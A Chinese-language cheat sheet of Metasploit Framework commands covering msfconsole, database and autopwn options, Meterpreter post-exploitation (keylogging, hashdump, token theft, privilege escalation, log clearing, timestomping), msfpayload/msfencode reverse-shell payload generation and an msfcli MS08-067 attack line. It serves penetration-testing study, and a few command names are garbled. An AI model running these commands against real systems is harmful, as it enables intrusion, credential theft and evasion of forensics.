**Metasploit Framework命令汇总**

一、msfconsole

? 帮助菜单

back 从当前环境返回

banner 显示一个MSF banner

cd 切换目录

color 颜色转换

connect 连接一个主机

exit 退出MSF

help 帮助菜单

info 显示一个或多个模块的信息

irb 进入irb脚本模式

jobs 显示和管理作业

kill 杀死一个作业

load 加载一个插件

loadpath 在一个路径搜索并加载模块

quit 退出MSF

resource 运行存储在一个文件中的命令

route 查看一个会话的路由信息

save 保存动作

search 搜索模块名和描述

set 给一个变量赋值

setg 把一个值赋给全局变量

show 显示所给类型的模块，或所有模块

sleep 在限定的秒数内什么也不做

unload 卸载一个模块

unset 解除一个或多个变量

unsetg 解除一个或多个全局变量

use 通过名称选择一个模块

version 显示MSF和控制台库版本号

二、database

db\_add\_host 添加一个或多个主机到数据库

db\_add\_note 添加一个注释到主机

db\_add\_port 添加一个端口到主机

db\_connect 连接一个存在的数据库

db\_create 创建一个新的数据库实例

db\_del\_host 从数据库删除一个或多个主机

db\_del\_port 从数据库删除一个端口

db\_destroy 删除一个存在的数据库

db\_disconnect 断开与当前数据库实例的连接

db\_driver 指定一个数据库驱动

db\_hosts 列出数据库中的所有主机

db\_nmap 执行Nmap并记录输出

db\_notes 列出数据库中的所有注释

db\_services 列出数据库中的所有服务

db\_vulns 列出数据库中的所有漏洞

db\_workspace 转换数据库工作区

db\_import\_ip\_list 引入一个IP列表文件

db\_import\_amap\_mlog 引入一个THC-Amap扫描结果文件(-o -m)

db\_import\_nessus\_nbe 引入一个Nessus扫描结果文件(NBE)

db\_import\_nessus\_xml 引入一个Nessus扫描结果文件

db\_import\_nmap\_xml 引入一个Nmap扫描结果文件(-oX)

db\_autopwn 自动利用

三、autopwn自动化攻击工具

db\_autopwn

-h 显示帮助

-t 显示所有匹配的利用模块

-x 选择基于漏洞的模块

-p 选择基于开放端口的模块

-e 运行所有匹配目标的利用程序

-r 用一个反向连接的shell(reverse)

-b 用一个随机端口的绑定shell(bind)

-q 禁用利用程序输出

-l [范围] 只对此范围内的主机进行利用

-X [范围] 永远排除此范围内的主机

-PI [范围] 只对开放这些的端口的主机进行利用

-PX [范围] 永远排除对开放这些端口的主机

-m [范围] 只运行名字与正则表达式匹配的模块

四、Meterpreter

核心命令：

? 帮助菜单

channel 显示动态频道的信息

close 关闭一个频道

exit 终止meterpreter会话

help 帮助菜单

interact 频道交互

irb IRB脚本模式

migrate 转移meterpreter到其他进程

quit 终止meterpreter

read 从频道读数据

run 执行一个meterpreter脚本

use 加载一个或多个扩展

write 向频道写数据

文件系统命令：

cat 读取一个文件内容到屏幕

cd 切换目录

del 删除指定文件

download 下载一个文件或目录

edit 编辑一个文件

getlwd 获取本地工作目录

getwd 切换工作目录

lcd 切换本地工作目录

lpwd 打印本地工作目录

ls 文件列表

mkdir 创建目录

pwd 打印当前工作目录

rm 删除指定文件

rmdir 远程目录

upload 上传一个文件或目录

网络命令：

ipconfig 显示网络接口

portfwd 发送一个本地端口到一个远程服务

route 查看和修改路由表

系统命令：

clearev 清除事件日志

execute 执行一个命令

getpid 取得当前进程ID

getuid 取得服务器运行用户

kill 杀死一个进程

ps 列出进程列表

reboot 重启远程计算机

reg 修改远程注册表

rev2self 在远程机器调用RevertToSelf()

shell 返回一个cmdshell

shutdown 关闭远程系统

sysinfo 取得远程系统的信息

用户接口命令：

enumdesktops 列出所有访问桌面和windows工作站

idletime 远程用户闲置时间

keyscan\_dump 转存击键缓存

keyscan\_start 开始捕捉击键

keyscan\_stop 停止捕捉击键

setdesktop 转移另一个工作站桌面

uictl 用户接口控制

密码数据库命令：

hashdump SAM转储

时间戳命令：

timestomp 修改文件时间戳

Metasploit攻击命令大全

show exploits

列出metasploit框架中的所有渗透攻击模块。

show payloads

列出metasploit框架中的所有攻击载荷。

show auxiliary

列出metasploit框架中的所有辅助攻击载荷。

search name

查找metasploit框架中所有的渗透攻击和其他模块。

info

展示出制定渗透攻击或模块的相关信息。

use name

装载一个渗透攻击或模块。

LHOST

你本地可以让目标主机连接的IP地址，通常当目标主机不在同一个局域网内时，就需要是一个公共IP地址，特别为反弹式shell使用。

RHOST

远程主机或是目标主机。

set function

设置特定的配置参数（EG：设置本地或远程主机参数）。

setg function

以全局方式设置特定的配置参数（EG：设置本地或远程主机参数）。

show options

列出某个渗透攻击或模块中所有的配置参数。

show targets

列出渗透攻击所有支持的目标平台。

set target num

指定你所知道的目标的操作系统以及补丁版本类型。

set payload name

指定想要使用的攻击载荷。

show advanced

列出所有高级配置选项。

set autorunscript migrate -f.

在渗透攻击完成后，将自动迁移到另一个进程。

check

检测目标是否选定渗透攻击存在相应的安全漏洞。

exploit

执行渗透攻击或模块来攻击目标。

exploit -j

在计划任务下进行渗透攻击（攻击将在后台进行）。

exploit -z

渗透攻击完成后不与回话进行交互。

exploit -e encoder

制定使用的攻击载荷编码方式（EG：exploit -e shikata\_ga\_nai）。

exploit -h

列出exploit命令的帮助信息。

sessions -l

列出可用的交互会话（在处理多个shell时使用）。

sessions -l -v

列出所有可用的交互会话以及详细信息，EG：攻击系统时使用了哪个安全漏洞。

sessions -s script

在所有活跃的metasploit会话中运行一个特定的metasploit脚本。

sessions -K

杀死所有活跃的交互会话。

sessions -c cmd

在所有活跃的metasploit会话上执行一个命令。

sessions -u sessionID

升级一个普通的win32 shell到metasploit shell。

db\_create name

创建一个数据库驱动攻击所要使用的数据库（EG：db\_create autopwn）。

db\_connect name

创建并连接一个数据库驱动攻击所要使用的数据库（EG：db\_connect user:passwd@ip/sqlname）。

db\_namp

利用Nmap并把扫描数据存储到数据库中（支持普通的nmap语句，EG：-sT -v -P0）。

db\_autopwn -h

展示出db\_autopwn命令的帮助信息。

db\_autopwn -p -r -e

对所有发现的开放端口执行db\_autopwn，攻击所有系统，并使用一个反弹式shell。

db\_destroy

删除当前数据库。

db\_destroy user：passwd@host：port/database

使用高级选项来删除数据库。

\*\*\*metasploit命令\*\*\*

help

打开meterpreter使用帮助。

run scriptname

运行meterpreter脚本，在scripts/meterpreter目录下可查看到所有脚本名。

sysinfo

列出受控主机的系统信息。

ls

列出目标主机的文件和文件夹信息。

use priv

加载特权提升扩展模块，来扩展metasploit库。

ps

显示所有运行的进程以及相关联的用户账户。

migrate PID

迁移到一个指定的进程ID（PID号可通过ps命令从主机上获得）。

use incognito

加载incognito功能（用来盗窃目标主机的令牌或假冒用户）

list\_tokens -u

列出目标主机用户的可用令牌。

list\_tokens -g

列出目标主机用户组的可用令牌。

impersonate\_token DOMAIN\_NAME\USERNAME

假冒目标主机上的可用令牌。

steal\_token PID

盗窃给定进程的可用令牌并进行令牌假冒。

drop\_token

停止假冒当前令牌。

getsystem

通过各种攻击向量来提升系统用户权限。

execute -f cmd.exe -i

执行cmd.exe命令并进行交互。

execute -f cmd.exe -i -t

以所有可用令牌来执行cmd命令并隐藏该进程。

rev2self

回到控制目标主机的初始用户账户下。

reg command

在目标主机注册表中进行交互，创建，删除，查询等操作。

setdesktop number

切换到另一个用户界面（该功能基于那些用户已登录）。

screenshot

对目标主机的屏幕进行截图。

upload file

向目标主机上传文件。

download file

从目标主机下载文件。

keyscan\_start

针对远程目标主机开启键盘记录功能。

keyscan\_dump

存储目标主机上捕获的键盘记录。

keyscan\_stop

停止针对目标主机的键盘记录。

getprivs

尽可能多的获取目标主机上的特权。

uictl enable keyboard/mouse

接管目标主机的键盘和鼠标。

background

将你当前的metasploit shell转为后台执行。

hashdump

导出目标主机中的口令哈希值。

use sniffer

加载嗅探模式。

sniffer\_interfaces

列出目标主机所有开放的网络端口。

sniffer\_dump interfaceID pcapname

在目标主机上启动嗅探。

sniffer\_start interfaceID packet-buffer

在目标主机上针对特定范围的数据包缓冲区启动嗅探。

sniffer\_stats interfaceID

获取正在实施嗅探网络接口的统计数据。

sniffer\_stop interfaceID

停止嗅探。

add\_user username password -h ip

在远程目标主机上添加一个用户。

clearev

清楚目标主机上的日志记录。

timestomp

修改文件属性，例如修改文件的创建时间（反取证调查）。

reboot

重启目标主机。

\*\*\*msfpayload命令\*\*\*

msfpayload -h

msfpayload的帮助信息。

msfpayload windows/meterpreter/bind\_tcp O

列出所有windows/meterpreter/bind\_tcp下可用的攻击载荷的配置项（任何攻击载荷都是可用配置的）。

msfpayload windows/meterpreter/reverse\_tcp LHOST=IP LPORT=PORT X > payload.exe

创建一个metasploit的reverse\_tcp攻击载荷，回连到LHOSTip的LPORT，将其保存为名为payload.exe的windows下可执行程序。

msfpayload windows/meterpreter/reverse\_tcp LHOST=IP LPORT=PORT R > payload.raw

创建一个metasploit的reverse\_tcp攻击载荷，回连到LHOSTip的LPORT，将其保存为名为payload.raw，该文件后面的msffencode中使用。

msfpayload windows/meterpreter/reverse\_tcp LPORT=PORT C > payload.c

创建一个metasploit的reverse\_tcp攻击载荷，导出C格式的shellcode。

msfpayload windows/meterpreter/reverse\_tcp LPORT=PORT J > payload.java

创建一个metasploit的reverse\_tcp攻击载荷，导出成以%u编码方式的javaScript语言字符串。

\*\*\*msfencode命令\*\*\*

mefencode -h

列出msfencode的帮助命令。

msfencode -l

列出所有可用的编码器。

msfencode -t (c,elf,exe,java,is\_le,js\_be,perl,raw,ruby,vba,vbs,loop\_vbs,asp,war,macho)

显示编码缓冲区的格式。

msfencode -i payload.raw -o encoded\_payload.exe -e x86/shikata\_ga\_nai -c 5 -t exe

使用shikata\_ga\_nai编码器对payload.raw文件进行5编码，然后导出一个名为encoded\_payload.exe的文件。

msfpayload windows/meterpreter/bind\_tcp LPORT=PORT R | msfencode -e x86/\_countdown -c 5 -t raw | msfencode -e x86/shikata\_ga\_nai -c 5 -t exe -o multi-encoded\_payload.exe

创建一个经过多种编码格式嵌套编码的攻击载荷。

msfencode -i payload.raw BufferRegister=ESI -e x86/al破解a\_mixed -t c

创建一个纯字母数字的shellcode，由ESI寄存器只想shellcode，以C语言格式输出。

\*\*\*MSFcli命令\*\*\*

msfcli | grep exploit

仅列出渗透攻击模块。

msfcli | grep exploit/windows

仅列出与windows相关的渗透攻击模块。

msfcli exploit/windows/smb/ms08\_067\_netapi PAYLOAD=windows/meterpreter/bind\_tcp LPORT=PORT RHOST=IP E

对IP发起ms08\_067\_netapi渗透攻击，配置了bind\_tcp攻击载荷，并绑定在PORT端口进行监听